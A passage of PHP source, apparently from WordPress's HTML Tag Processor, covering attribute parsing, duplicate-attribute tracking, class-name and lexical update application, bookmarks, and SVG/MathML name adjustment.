					$quote                      = $this->html[ $this->bytes_already_parsed ];
					$value_start                = $this->bytes_already_parsed + 1;
					$end_quote_at               = strpos( $this->html, $quote, $value_start );
					$end_quote_at               = false === $end_quote_at ? $doc_length : $end_quote_at;
					$value_length               = $end_quote_at - $value_start;
					$attribute_end              = $end_quote_at + 1;
					$this->bytes_already_parsed = $attribute_end;
					break;

				default:
					$value_start                = $this->bytes_already_parsed;
					$value_length               = strcspn( $this->html, "> \t\f\r\n", $value_start );
					$attribute_end              = $value_start + $value_length;
					$this->bytes_already_parsed = $attribute_end;
			}
		} else {
			$value_start   = $this->bytes_already_parsed;
			$value_length  = 0;
			$attribute_end = $attribute_start + $name_length;
		}

		if ( $attribute_end >= $doc_length ) {
			$this->parser_state = self::STATE_INCOMPLETE_INPUT;

			return false;
		}

		if ( $this->is_closing_tag ) {
			return true;
		}

		/*
		 * > There must never be two or more attributes on
		 * > the same start tag whose names are an ASCII
		 * > case-insensitive match for each other.
		 *     - HTML 5 spec
		 *
		 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
		 */
		$comparable_name = strtolower( $attribute_name );

		// If an attribute is listed many times, only use the first declaration and ignore the rest.
		if ( ! isset( $this->attributes[ $comparable_name ] ) ) {
			$this->attributes[ $comparable_name ] = new WP_HTML_Attribute_Token(
				$attribute_name,
				$value_start,
				$value_length,
				$attribute_start,
				$attribute_end - $attribute_start,
				! $has_value
			);

			return true;
		}

		/*
		 * Track the duplicate attributes so if we remove it, all disappear together.
		 *
		 * While `$this->duplicated_attributes` could always be stored as an `array()`,
		 * which would simplify the logic here, storing a `null` and only allocating
		 * an array when encountering duplicates avoids needless allocations in the
		 * normative case of parsing tags with no duplicate attributes.
		 */
		$duplicate_span = new WP_HTML_Span( $attribute_start, $attribute_end - $attribute_start );
		if ( null === $this->duplicate_attributes ) {
			$this->duplicate_attributes = array( $comparable_name => array( $duplicate_span ) );
		} elseif ( ! isset( $this->duplicate_attributes[ $comparable_name ] ) ) {
			$this->duplicate_attributes[ $comparable_name ] = array( $duplicate_span );
		} else {
			$this->duplicate_attributes[ $comparable_name ][] = $duplicate_span;
		}

		return true;
	}

	/**
	 * Move the internal cursor past any immediate successive whitespace.
	 *
	 * @since 6.2.0
	 */
	private function skip_whitespace(): void {
		$this->bytes_already_parsed += strspn( $this->html, " \t\f\r\n", $this->bytes_already_parsed );
	}

	/**
	 * Applies attribute updates and cleans up once a tag is fully parsed.
	 *
	 * @since 6.2.0
	 */
	private function after_tag(): void {
		/*
		 * There could be lexical updates enqueued for an attribute that
		 * also exists on the next tag. In order to avoid conflating the
		 * attributes across the two tags, lexical updates with names
		 * need to be flushed to raw lexical updates.
		 */
		$this->class_name_updates_to_attributes_updates();

		/*
		 * Purge updates if there are too many. The actual count isn't
		 * scientific, but a few values from 100 to a few thousand were
		 * tests to find a practically-useful limit.
		 *
		 * If the update queue grows too big, then the Tag Processor
		 * will spend more time iterating through them and lose the
		 * efficiency gains of deferring applying them.
		 */
		if ( 1000 < count( $this->lexical_updates ) ) {
			$this->get_updated_html();
		}

		foreach ( $this->lexical_updates as $name => $update ) {
			/*
			 * Any updates appearing after the cursor should be applied
			 * before proceeding, otherwise they may be overlooked.
			 */
			if ( $update->start >= $this->bytes_already_parsed ) {
				$this->get_updated_html();
				break;
			}

			if ( is_int( $name ) ) {
				continue;
			}

			$this->lexical_updates[] = $update;
			unset( $this->lexical_updates[ $name ] );
		}

		$this->token_starts_at          = null;
		$this->token_length             = null;
		$this->tag_name_starts_at       = null;
		$this->tag_name_length          = null;
		$this->text_starts_at           = 0;
		$this->text_length              = 0;
		$this->is_closing_tag           = null;
		$this->attributes               = array();
		$this->comment_type             = null;
		$this->text_node_classification = self::TEXT_IS_GENERIC;
		$this->duplicate_attributes     = null;
	}

	/**
	 * Converts class name updates into tag attributes updates
	 * (they are accumulated in different data formats for performance).
	 *
	 * @since 6.2.0
	 *
	 * @see WP_HTML_Tag_Processor::$lexical_updates
	 * @see WP_HTML_Tag_Processor::$classname_updates
	 */
	private function class_name_updates_to_attributes_updates(): void {
		if ( count( $this->classname_updates ) === 0 ) {
			return;
		}

		$existing_class = $this->get_enqueued_attribute_value( 'class' );
		if ( null === $existing_class || true === $existing_class ) {
			$existing_class = '';
		}

		if ( false === $existing_class && isset( $this->attributes['class'] ) ) {
			$existing_class = substr(
				$this->html,
				$this->attributes['class']->value_starts_at,
				$this->attributes['class']->value_length
			);
		}

		if ( false === $existing_class ) {
			$existing_class = '';
		}

		/**
		 * Updated "class" attribute value.
		 *
		 * This is incrementally built while scanning through the existing class
		 * attribute, skipping removed classes on the way, and then appending
		 * added classes at the end. Only when finished processing will the
		 * value contain the final new value.

		 * @var string $class
		 */
		$class = '';

		/**
		 * Tracks the cursor position in the existing
		 * class attribute value while parsing.
		 *
		 * @var int $at
		 */
		$at = 0;

		/**
		 * Indicates if there's any need to modify the existing class attribute.
		 *
		 * If a call to `add_class()` and `remove_class()` wouldn't impact
		 * the `class` attribute value then there's no need to rebuild it.
		 * For example, when adding a class that's already present or
		 * removing one that isn't.
		 *
		 * This flag enables a performance optimization when none of the enqueued
		 * class updates would impact the `class` attribute; namely, that the
		 * processor can continue without modifying the input document, as if
		 * none of the `add_class()` or `remove_class()` calls had been made.
		 *
		 * This flag is set upon the first change that requires a string update.
		 *
		 * @var bool $modified
		 */
		$modified = false;

		$seen      = array();
		$to_remove = array();
		$is_quirks = self::QUIRKS_MODE === $this->compat_mode;
		if ( $is_quirks ) {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = strtolower( $updated_name );
				}
			}
		} else {
			foreach ( $this->classname_updates as $updated_name => $action ) {
				if ( self::REMOVE_CLASS === $action ) {
					$to_remove[] = $updated_name;
				}
			}
		}

		// Remove unwanted classes by only copying the new ones.
		$existing_class_length = strlen( $existing_class );
		while ( $at < $existing_class_length ) {
			// Skip to the first non-whitespace character.
			$ws_at     = $at;
			$ws_length = strspn( $existing_class, " \t\f\r\n", $ws_at );
			$at       += $ws_length;

			// Capture the class name – it's everything until the next whitespace.
			$name_length = strcspn( $existing_class, " \t\f\r\n", $at );
			if ( 0 === $name_length ) {
				// If no more class names are found then that's the end.
				break;
			}

			$name                  = substr( $existing_class, $at, $name_length );
			$comparable_class_name = $is_quirks ? strtolower( $name ) : $name;
			$at                   += $name_length;

			// If this class is marked for removal, remove it and move on to the next one.
			if ( in_array( $comparable_class_name, $to_remove, true ) ) {
				$modified = true;
				continue;
			}

			// If a class has already been seen then skip it; it should not be added twice.
			if ( in_array( $comparable_class_name, $seen, true ) ) {
				continue;
			}

			$seen[] = $comparable_class_name;

			/*
			 * Otherwise, append it to the new "class" attribute value.
			 *
			 * There are options for handling whitespace between tags.
			 * Preserving the existing whitespace produces fewer changes
			 * to the HTML content and should clarify the before/after
			 * content when debugging the modified output.
			 *
			 * This approach contrasts normalizing the inter-class
			 * whitespace to a single space, which might appear cleaner
			 * in the output HTML but produce a noisier change.
			 */
			if ( '' !== $class ) {
				$class .= substr( $existing_class, $ws_at, $ws_length );
			}
			$class .= $name;
		}

		// Add new classes by appending those which haven't already been seen.
		foreach ( $this->classname_updates as $name => $operation ) {
			$comparable_name = $is_quirks ? strtolower( $name ) : $name;
			if ( self::ADD_CLASS === $operation && ! in_array( $comparable_name, $seen, true ) ) {
				$modified = true;

				$class .= strlen( $class ) > 0 ? ' ' : '';
				$class .= $name;
			}
		}

		$this->classname_updates = array();
		if ( ! $modified ) {
			return;
		}

		if ( strlen( $class ) > 0 ) {
			$this->set_attribute( 'class', $class );
		} else {
			$this->remove_attribute( 'class' );
		}
	}

	/**
	 * Applies attribute updates to HTML document.
	 *
	 * @since 6.2.0
	 * @since 6.2.1 Accumulates shift for internal cursor and passed pointer.
	 * @since 6.3.0 Invalidate any bookmarks whose targets are overwritten.
	 *
	 * @param int $shift_this_point Accumulate and return shift for this position.
	 * @return int How many bytes the given pointer moved in response to the updates.
	 */
	private function apply_attributes_updates( int $shift_this_point ): int {
		if ( ! count( $this->lexical_updates ) ) {
			return 0;
		}

		$accumulated_shift_for_given_point = 0;

		/*
		 * Attribute updates can be enqueued in any order but updates
		 * to the document must occur in lexical order; that is, each
		 * replacement must be made before all others which follow it
		 * at later string indices in the input document.
		 *
		 * Sorting avoid making out-of-order replacements which
		 * can lead to mangled output, partially-duplicated
		 * attributes, and overwritten attributes.
		 */
		usort( $this->lexical_updates, array( self::class, 'sort_start_ascending' ) );

		$bytes_already_copied = 0;
		$output_buffer        = '';
		foreach ( $this->lexical_updates as $diff ) {
			$shift = strlen( $diff->text ) - $diff->length;

			// Adjust the cursor position by however much an update affects it.
			if ( $diff->start < $this->bytes_already_parsed ) {
				$this->bytes_already_parsed += $shift;
			}

			// Accumulate shift of the given pointer within this function call.
			if ( $diff->start < $shift_this_point ) {
				$accumulated_shift_for_given_point += $shift;
			}

			$output_buffer       .= substr( $this->html, $bytes_already_copied, $diff->start - $bytes_already_copied );
			$output_buffer       .= $diff->text;
			$bytes_already_copied = $diff->start + $diff->length;
		}

		$this->html = $output_buffer . substr( $this->html, $bytes_already_copied );

		/*
		 * Adjust bookmark locations to account for how the text
		 * replacements adjust offsets in the input document.
		 */
		foreach ( $this->bookmarks as $bookmark_name => $bookmark ) {
			$bookmark_end = $bookmark->start + $bookmark->length;

			/*
			 * Each lexical update which appears before the bookmark's endpoints
			 * might shift the offsets for those endpoints. Loop through each change
			 * and accumulate the total shift for each bookmark, then apply that
			 * shift after tallying the full delta.
			 */
			$head_delta = 0;
			$tail_delta = 0;

			foreach ( $this->lexical_updates as $diff ) {
				$diff_end = $diff->start + $diff->length;

				if ( $bookmark->start < $diff->start && $bookmark_end < $diff->start ) {
					break;
				}

				if ( $bookmark->start >= $diff->start && $bookmark_end < $diff_end ) {
					$this->release_bookmark( $bookmark_name );
					continue 2;
				}

				$delta = strlen( $diff->text ) - $diff->length;

				if ( $bookmark->start >= $diff->start ) {
					$head_delta += $delta;
				}

				if ( $bookmark_end >= $diff_end ) {
					$tail_delta += $delta;
				}
			}

			$bookmark->start  += $head_delta;
			$bookmark->length += $tail_delta - $head_delta;
		}

		$this->lexical_updates = array();

		return $accumulated_shift_for_given_point;
	}

	/**
	 * Checks whether a bookmark with the given name exists.
	 *
	 * @since 6.3.0
	 *
	 * @param string $bookmark_name Name to identify a bookmark that potentially exists.
	 * @return bool Whether that bookmark exists.
	 */
	public function has_bookmark( $bookmark_name ): bool {
		return array_key_exists( $bookmark_name, $this->bookmarks );
	}

	/**
	 * Move the internal cursor in the Tag Processor to a given bookmark's location.
	 *
	 * In order to prevent accidental infinite loops, there's a
	 * maximum limit on the number of times seek() can be called.
	 *
	 * @since 6.2.0
	 *
	 * @param string $bookmark_name Jump to the place in the document identified by this bookmark name.
	 * @return bool Whether the internal cursor was successfully moved to the bookmark's location.
	 */
	public function seek( $bookmark_name ): bool {
		if ( ! array_key_exists( $bookmark_name, $this->bookmarks ) ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Unknown bookmark name.' ),
				'6.2.0'
			);
			return false;
		}

		$existing_bookmark = $this->bookmarks[ $bookmark_name ];

		if (
			$this->token_starts_at === $existing_bookmark->start &&
			$this->token_length === $existing_bookmark->length
		) {
			return true;
		}

		if ( ++$this->seek_count > static::MAX_SEEK_OPS ) {
			_doing_it_wrong(
				__METHOD__,
				__( 'Too many calls to seek() - this can lead to performance issues.' ),
				'6.2.0'
			);
			return false;
		}

		// Flush out any pending updates to the document.
		$this->get_updated_html();

		// Point this tag processor before the sought tag opener and consume it.
		$this->bytes_already_parsed = $this->bookmarks[ $bookmark_name ]->start;
		$this->parser_state         = self::STATE_READY;
		return $this->next_token();
	}

	/**
	 * Compare two WP_HTML_Text_Replacement objects.
	 *
	 * @since 6.2.0
	 *
	 * @param WP_HTML_Text_Replacement $a First attribute update.
	 * @param WP_HTML_Text_Replacement $b Second attribute update.
	 * @return int Comparison value for string order.
	 */
	private static function sort_start_ascending( WP_HTML_Text_Replacement $a, WP_HTML_Text_Replacement $b ): int {
		$by_start = $a->start - $b->start;
		if ( 0 !== $by_start ) {
			return $by_start;
		}

		$by_text = isset( $a->text, $b->text ) ? strcmp( $a->text, $b->text ) : 0;
		if ( 0 !== $by_text ) {
			return $by_text;
		}

		/*
		 * This code should be unreachable, because it implies the two replacements
		 * start at the same location and contain the same text.
		 */
		return $a->length - $b->length;
	}

	/**
	 * Return the enqueued value for a given attribute, if one exists.
	 *
	 * Enqueued updates can take different data types:
	 *  - If an update is enqueued and is boolean, the return will be `true`
	 *  - If an update is otherwise enqueued, the return will be the string value of that update.
	 *  - If an attribute is enqueued to be removed, the return will be `null` to indicate that.
	 *  - If no updates are enqueued, the return will be `false` to differentiate from "removed."
	 *
	 * @since 6.2.0
	 *
	 * @param string $comparable_name The attribute name in its comparable form.
	 * @return string|boolean|null Value of enqueued update if present, otherwise false.
	 */
	private function get_enqueued_attribute_value( string $comparable_name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		if ( ! isset( $this->lexical_updates[ $comparable_name ] ) ) {
			return false;
		}

		$enqueued_text = $this->lexical_updates[ $comparable_name ]->text;

		// Removed attributes erase the entire span.
		if ( '' === $enqueued_text ) {
			return null;
		}

		/*
		 * Boolean attribute updates are just the attribute name without a corresponding value.
		 *
		 * This value might differ from the given comparable name in that there could be leading
		 * or trailing whitespace, and that the casing follows the name given in `set_attribute`.
		 *
		 * Example:
		 *
		 *     $p->set_attribute( 'data-TEST-id', 'update' );
		 *     'update' === $p->get_enqueued_attribute_value( 'data-test-id' );
		 *
		 * Detect this difference based on the absence of the `=`, which _must_ exist in any
		 * attribute containing a value, e.g. `<input type="text" enabled />`.
		 *                                            ¹           ²
		 *                                       1. Attribute with a string value.
		 *                                       2. Boolean attribute whose value is `true`.
		 */
		$equals_at = strpos( $enqueued_text, '=' );
		if ( false === $equals_at ) {
			return true;
		}

		/*
		 * Finally, a normal update's value will appear after the `=` and
		 * be double-quoted, as performed incidentally by `set_attribute`.
		 *
		 * e.g. `type="text"`
		 *           ¹²    ³
		 *        1. Equals is here.
		 *        2. Double-quoting starts one after the equals sign.
		 *        3. Double-quoting ends at the last character in the update.
		 */
		$enqueued_value = substr( $enqueued_text, $equals_at + 2, -1 );
		return WP_HTML_Decoder::decode_attribute( $enqueued_value );
	}

	/**
	 * Returns the value of a requested attribute from a matched tag opener if that attribute exists.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div enabled class="test" data-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute( 'data-test-id' ) === '14';
	 *     $p->get_attribute( 'enabled' ) === true;
	 *     $p->get_attribute( 'aria-label' ) === null;
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute( 'class' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @param string $name Name of attribute whose value is requested.
	 * @return string|true|null Value of attribute or `null` if not available. Boolean attributes return `true`.
	 */
	public function get_attribute( $name ) {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$comparable = strtolower( $name );

		/*
		 * For every attribute other than `class` it's possible to perform a quick check if
		 * there's an enqueued lexical update whose value takes priority over what's found in
		 * the input document.
		 *
		 * The `class` attribute is special though because of the exposed helpers `add_class`
		 * and `remove_class`. These form a builder for the `class` attribute, so an additional
		 * check for enqueued class changes is required in addition to the check for any enqueued
		 * attribute values. If any exist, those enqueued class changes must first be flushed out
		 * into an attribute value update.
		 */
		if ( 'class' === $name ) {
			$this->class_name_updates_to_attributes_updates();
		}

		// Return any enqueued attribute value updates if they exist.
		$enqueued_value = $this->get_enqueued_attribute_value( $comparable );
		if ( false !== $enqueued_value ) {
			return $enqueued_value;
		}

		if ( ! isset( $this->attributes[ $comparable ] ) ) {
			return null;
		}

		$attribute = $this->attributes[ $comparable ];

		/*
		 * This flag distinguishes an attribute with no value
		 * from an attribute with an empty string value. For
		 * unquoted attributes this could look very similar.
		 * It refers to whether an `=` follows the name.
		 *
		 * e.g. <div boolean-attribute empty-attribute=></div>
		 *           ¹                 ²
		 *        1. Attribute `boolean-attribute` is `true`.
		 *        2. Attribute `empty-attribute` is `""`.
		 */
		if ( true === $attribute->is_true ) {
			return true;
		}

		$raw_value = substr( $this->html, $attribute->value_starts_at, $attribute->value_length );

		return WP_HTML_Decoder::decode_attribute( $raw_value );
	}

	/**
	 * Gets lowercase names of all attributes matching a given prefix in the current tag.
	 *
	 * Note that matching is case-insensitive. This is in accordance with the spec:
	 *
	 * > There must never be two or more attributes on
	 * > the same start tag whose names are an ASCII
	 * > case-insensitive match for each other.
	 *     - HTML 5 spec
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div data-ENABLED class="test" DATA-test-id="14">Test</div>' );
	 *     $p->next_tag( array( 'class_name' => 'test' ) ) === true;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === array( 'data-enabled', 'data-test-id' );
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_attribute_names_with_prefix( 'data-' ) === null;
	 *
	 * @since 6.2.0
	 *
	 * @see https://html.spec.whatwg.org/multipage/syntax.html#attributes-2:ascii-case-insensitive
	 *
	 * @param string $prefix Prefix of requested attribute names.
	 * @return array|null List of attribute names, or `null` when no tag opener is matched.
	 */
	public function get_attribute_names_with_prefix( $prefix ): ?array {
		if (
			self::STATE_MATCHED_TAG !== $this->parser_state ||
			$this->is_closing_tag
		) {
			return null;
		}

		$comparable = strtolower( $prefix );

		$matches = array();
		foreach ( array_keys( $this->attributes ) as $attr_name ) {
			if ( str_starts_with( $attr_name, $comparable ) ) {
				$matches[] = $attr_name;
			}
		}
		return $matches;
	}

	/**
	 * Returns the namespace of the matched token.
	 *
	 * @since 6.7.0
	 *
	 * @return string One of 'html', 'math', or 'svg'.
	 */
	public function get_namespace(): string {
		return $this->parsing_namespace;
	}

	/**
	 * Returns the uppercase name of the matched tag.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div class="test">Test</div>' );
	 *     $p->next_tag() === true;
	 *     $p->get_tag() === 'DIV';
	 *
	 *     $p->next_tag() === false;
	 *     $p->get_tag() === null;
	 *
	 * @since 6.2.0
	 *
	 * @return string|null Name of currently matched tag in input HTML, or `null` if none found.
	 */
	public function get_tag(): ?string {
		if ( null === $this->tag_name_starts_at ) {
			return null;
		}

		$tag_name = substr( $this->html, $this->tag_name_starts_at, $this->tag_name_length );

		if ( self::STATE_MATCHED_TAG === $this->parser_state ) {
			return strtoupper( $tag_name );
		}

		if (
			self::STATE_COMMENT === $this->parser_state &&
			self::COMMENT_AS_PI_NODE_LOOKALIKE === $this->get_comment_type()
		) {
			return $tag_name;
		}

		return null;
	}

	/**
	 * Returns the adjusted tag name for a given token, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @return string|null Name of current tag name.
	 */
	public function get_qualified_tag_name(): ?string {
		$tag_name = $this->get_tag();
		if ( null === $tag_name ) {
			return null;
		}

		if ( 'html' === $this->get_namespace() ) {
			return $tag_name;
		}

		$lower_tag_name = strtolower( $tag_name );
		if ( 'math' === $this->get_namespace() ) {
			return $lower_tag_name;
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_tag_name ) {
				case 'altglyph':
					return 'altGlyph';

				case 'altglyphdef':
					return 'altGlyphDef';

				case 'altglyphitem':
					return 'altGlyphItem';

				case 'animatecolor':
					return 'animateColor';

				case 'animatemotion':
					return 'animateMotion';

				case 'animatetransform':
					return 'animateTransform';

				case 'clippath':
					return 'clipPath';

				case 'feblend':
					return 'feBlend';

				case 'fecolormatrix':
					return 'feColorMatrix';

				case 'fecomponenttransfer':
					return 'feComponentTransfer';

				case 'fecomposite':
					return 'feComposite';

				case 'feconvolvematrix':
					return 'feConvolveMatrix';

				case 'fediffuselighting':
					return 'feDiffuseLighting';

				case 'fedisplacementmap':
					return 'feDisplacementMap';

				case 'fedistantlight':
					return 'feDistantLight';

				case 'fedropshadow':
					return 'feDropShadow';

				case 'feflood':
					return 'feFlood';

				case 'fefunca':
					return 'feFuncA';

				case 'fefuncb':
					return 'feFuncB';

				case 'fefuncg':
					return 'feFuncG';

				case 'fefuncr':
					return 'feFuncR';

				case 'fegaussianblur':
					return 'feGaussianBlur';

				case 'feimage':
					return 'feImage';

				case 'femerge':
					return 'feMerge';

				case 'femergenode':
					return 'feMergeNode';

				case 'femorphology':
					return 'feMorphology';

				case 'feoffset':
					return 'feOffset';

				case 'fepointlight':
					return 'fePointLight';

				case 'fespecularlighting':
					return 'feSpecularLighting';

				case 'fespotlight':
					return 'feSpotLight';

				case 'fetile':
					return 'feTile';

				case 'feturbulence':
					return 'feTurbulence';

				case 'foreignobject':
					return 'foreignObject';

				case 'glyphref':
					return 'glyphRef';

				case 'lineargradient':
					return 'linearGradient';

				case 'radialgradient':
					return 'radialGradient';

				case 'textpath':
					return 'textPath';

				default:
					return $lower_tag_name;
			}
		}

		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return $tag_name;
	}

	/**
	 * Returns the adjusted attribute name for a given attribute, taking into
	 * account the current parsing context, whether HTML, SVG, or MathML.
	 *
	 * @since 6.7.0
	 *
	 * @param string $attribute_name Which attribute to adjust.
	 *
	 * @return string|null
	 */
	public function get_qualified_attribute_name( $attribute_name ): ?string {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return null;
		}

		$namespace  = $this->get_namespace();
		$lower_name = strtolower( $attribute_name );

		if ( 'math' === $namespace && 'definitionurl' === $lower_name ) {
			return 'definitionURL';
		}

		if ( 'svg' === $this->get_namespace() ) {
			switch ( $lower_name ) {
				case 'attributename':
					return 'attributeName';

				case 'attributetype':
					return 'attributeType';

				case 'basefrequency':
					return 'baseFrequency';

				case 'baseprofile':
					return 'baseProfile';

				case 'calcmode':
					return 'calcMode';

				case 'clippathunits':
					return 'clipPathUnits';

				case 'diffuseconstant':
					return 'diffuseConstant';

				case 'edgemode':
					return 'edgeMode';

				case 'filterunits':
					return 'filterUnits';

				case 'glyphref':
					return 'glyphRef';

				case 'gradienttransform':
					return 'gradientTransform';

				case 'gradientunits':
					return 'gradientUnits';

				case 'kernelmatrix':
					return 'kernelMatrix';

				case 'kernelunitlength':
					return 'kernelUnitLength';

				case 'keypoints':
					return 'keyPoints';

				case 'keysplines':
					return 'keySplines';

				case 'keytimes':
					return 'keyTimes';

				case 'lengthadjust':
					return 'lengthAdjust';

				case 'limitingconeangle':
					return 'limitingConeAngle';

				case 'markerheight':
					return 'markerHeight';

				case 'markerunits':
					return 'markerUnits';

				case 'markerwidth':
					return 'markerWidth';

				case 'maskcontentunits':
					return 'maskContentUnits';

				case 'maskunits':
					return 'maskUnits';

				case 'numoctaves':
					return 'numOctaves';

				case 'pathlength':
					return 'pathLength';

				case 'patterncontentunits':
					return 'patternContentUnits';

				case 'patterntransform':
					return 'patternTransform';

				case 'patternunits':
					return 'patternUnits';

				case 'pointsatx':
					return 'pointsAtX';

				case 'pointsaty':
					return 'pointsAtY';

				case 'pointsatz':
					return 'pointsAtZ';

				case 'preservealpha':
					return 'preserveAlpha';

				case 'preserveaspectratio':
					return 'preserveAspectRatio';

				case 'primitiveunits':
					return 'primitiveUnits';

				case 'refx':
					return 'refX';

				case 'refy':
					return 'refY';

				case 'repeatcount':
					return 'repeatCount';

				case 'repeatdur':
					return 'repeatDur';

				case 'requiredextensions':
					return 'requiredExtensions';

				case 'requiredfeatures':
					return 'requiredFeatures';

				case 'specularconstant':
					return 'specularConstant';

				case 'specularexponent':
					return 'specularExponent';

				case 'spreadmethod':
					return 'spreadMethod';

				case 'startoffset':
					return 'startOffset';

				case 'stddeviation':
					return 'stdDeviation';

				case 'stitchtiles':
					return 'stitchTiles';

				case 'surfacescale':
					return 'surfaceScale';

				case 'systemlanguage':
					return 'systemLanguage';

				case 'tablevalues':
					return 'tableValues';

				case 'targetx':
					return 'targetX';

				case 'targety':
					return 'targetY';

				case 'textlength':
					return 'textLength';

				case 'viewbox':
					return 'viewBox';

				case 'viewtarget':
					return 'viewTarget';

				case 'xchannelselector':
					return 'xChannelSelector';

				case 'ychannelselector':
					return 'yChannelSelector';

				case 'zoomandpan':
					return 'zoomAndPan';
			}
		}

		if ( 'html' !== $namespace ) {
			switch ( $lower_name ) {
				case 'xlink:actuate':
					return 'xlink actuate';

				case 'xlink:arcrole':
					return 'xlink arcrole';

				case 'xlink:href':
					return 'xlink href';

				case 'xlink:role':
					return 'xlink role';

				case 'xlink:show':
					return 'xlink show';

				case 'xlink:title':
					return 'xlink title';

				case 'xlink:type':
					return 'xlink type';

				case 'xml:lang':
					return 'xml lang';

				case 'xml:space':
					return 'xml space';

				case 'xmlns':
					return 'xmlns';

				case 'xmlns:xlink':
					return 'xmlns xlink';
			}
		}

		return $attribute_name;
	}

	/**
	 * Indicates if the currently matched tag contains the self-closing flag.
	 *
	 * No HTML elements ought to have the self-closing flag and for those, the self-closing
	 * flag will be ignored. For void elements this is benign because they "self close"
	 * automatically. For non-void HTML elements though problems will appear if someone
	 * intends to use a self-closing element in place of that element with an empty body.
	 * For HTML foreign elements and custom elements the self-closing flag determines if
	 * they self-close or not.
	 *
	 * This function does not determine if a tag is self-closing,
	 * but only if the self-closing flag is present in the syntax.
	 *
	 * @since 6.3.0
	 *
	 * @return bool Whether the currently matched tag contains the self-closing flag.
	 */
	public function has_self_closing_flag(): bool {
		if ( self::STATE_MATCHED_TAG !== $this->parser_state ) {
			return false;
		}

		/*
		 * The self-closing flag is the solidus at the _end_ of the tag, not the beginning.
		 *
		 * Example:
		 *
		 *     <figure />
		 *             ^ this appears one character before the end of the closing ">".
		 */
		return '/' === $this->html[ $this->token_starts_at + $this->token_length - 2 ];
	}

	/**
	 * Indicates if the current tag token is a tag closer.
	 *
	 * Example:
	 *
	 *     $p = new WP_HTML_Tag_Processor( '<div></div>' );
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === false;
	 *
	 *     $p->next_tag( array( 'tag_name' => 'div', 'tag_closers' => 'visit' ) );
	 *     $p->is_tag_closer() === true;
	 *
	 * @since 6.2.0
	 * @since 6.7.0 Reports all BR tags as opening tags.
	 *
	 * @return bool Whether the current tag is a tag closer.
	 */
	public function is_tag_closer(): bool {
		return (
			self::STATE_MATCHED_TAG === $this->parser_state &&
			$this->is_closing_tag &&

			/*
			 * The BR tag can only exist as an opening tag. If something like `</br>`
			 * appears then the HTML parser will treat it as an opening tag with no
			 * attributes. The BR tag is unique in this way.
			 *
			 * @see https://html.spec.whatwg.org/#parsing-main-inbody
			 */
			'BR' !== $this->get_tag()
		);
	}

	/**
	 * Indicates the kind of matched token, if any.
	 *
	 * This differs from `get_token_name()` in that it always
	 * returns a static string indicating the type, whereas
	 * `get_token_name()` may return values derived from the
	 * token itself, such as a tag name or processing
	 * instruction tag.
	 *
	 * Possible values:
	 *  - `#tag` when matched on a tag.
	 *  - `#text` when matched on a text node.
	 *  - `#cdata-section` when matched on a CDATA node.
	 *  - `#comment` when matched on a comment.
	 *  - `#doctype` when matched on a DOCTYPE declaration.
	 *  - `#presumptuous-tag` when matched on an empty tag closer.
	 *  - `#funky-comment` when matched on a funky comment.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null What kind of token is matched, or null.
	 */
	public function get_token_type(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return '#tag';

			case self::STATE_DOCTYPE:
				return '#doctype';

			default:
				return $this->get_token_name();
		}
	}

	/**
	 * Returns the node name represented by the token.
	 *
	 * This matches the DOM API value `nodeName`. Some values
	 * are static, such as `#text` for a text node, while others
	 * are dynamically generated from the token itself.
	 *
	 * Dynamic names:
	 *  - Uppercase tag name for tag matches.
	 *  - `html` for DOCTYPE declarations.
	 *
	 * Note that if the Tag Processor is not matched on a token
	 * then this function will return `null`, either because it
	 * hasn't yet found a token or because it reached the end
	 * of the document without matching a token.
	 *
	 * @since 6.5.0
	 *
	 * @return string|null Name of the matched token.
	 */
	public function get_token_name(): ?string {
		switch ( $this->parser_state ) {
			case self::STATE_MATCHED_TAG:
				return $this->get_tag();

			case self::STATE_TEXT_NODE:
				return '#text';

			case self::STATE_CDATA_NODE:
				return '#cdata-section';

			case self::STATE_COMMENT:
				return '#comment';

			case self::STATE_DOCTYPE:
				return 'html';

			case self::STATE_PRESUMPTUOUS_TAG:
				return '#presumptuous-tag';

			case self::STATE_FUNKY_COMMENT:
				return '#funky-comment';
		}

		return null;
	}

	/**
	 * Indicates what kind of comment produced the comment node.
	 *
	 * Because there are different kinds of HTML syntax which produce
	 * comments, the Tag Processor tracks and exposes this as a type
	 * for the comment. Nominally only regular HTML comments exist as
	 * they are commonly known, but a number of unrelated syntax errors
	 * also produce comments.
	 *
	 * @see self::COMMENT_AS_ABRUPTLY_CLOSED_COMMENT
	 * @see self::COMMENT_AS_CDATA_LOOKALIKE
	 * @see self::COMMENT_AS_INVALID_HTML
	 * @see self::COMMENT_AS_HTML_COMMENT
	 * @see self::COMMENT_AS_PI_NODE_LOOKALIKE
	 *
	 * @since 6.5.0
	 *
	 * @return string|null
	 */
	public function get_comment_type(): ?string {
		if ( self::STATE_COMMENT !== $this->parser_state ) {
			return null;
		}

		return $this->comment_type;
	}

	/**
	 * Returns the text of a matched comment or null if not on a comment type node.
	 *
	 * This method returns the entire text content of a comment node as it
	 * would appear in the browser.
	 *
	 * This differs from {@see ::get_modifiable_text()} in that certain comment
	 * types in the HTML API cannot allow their entire comment text content to
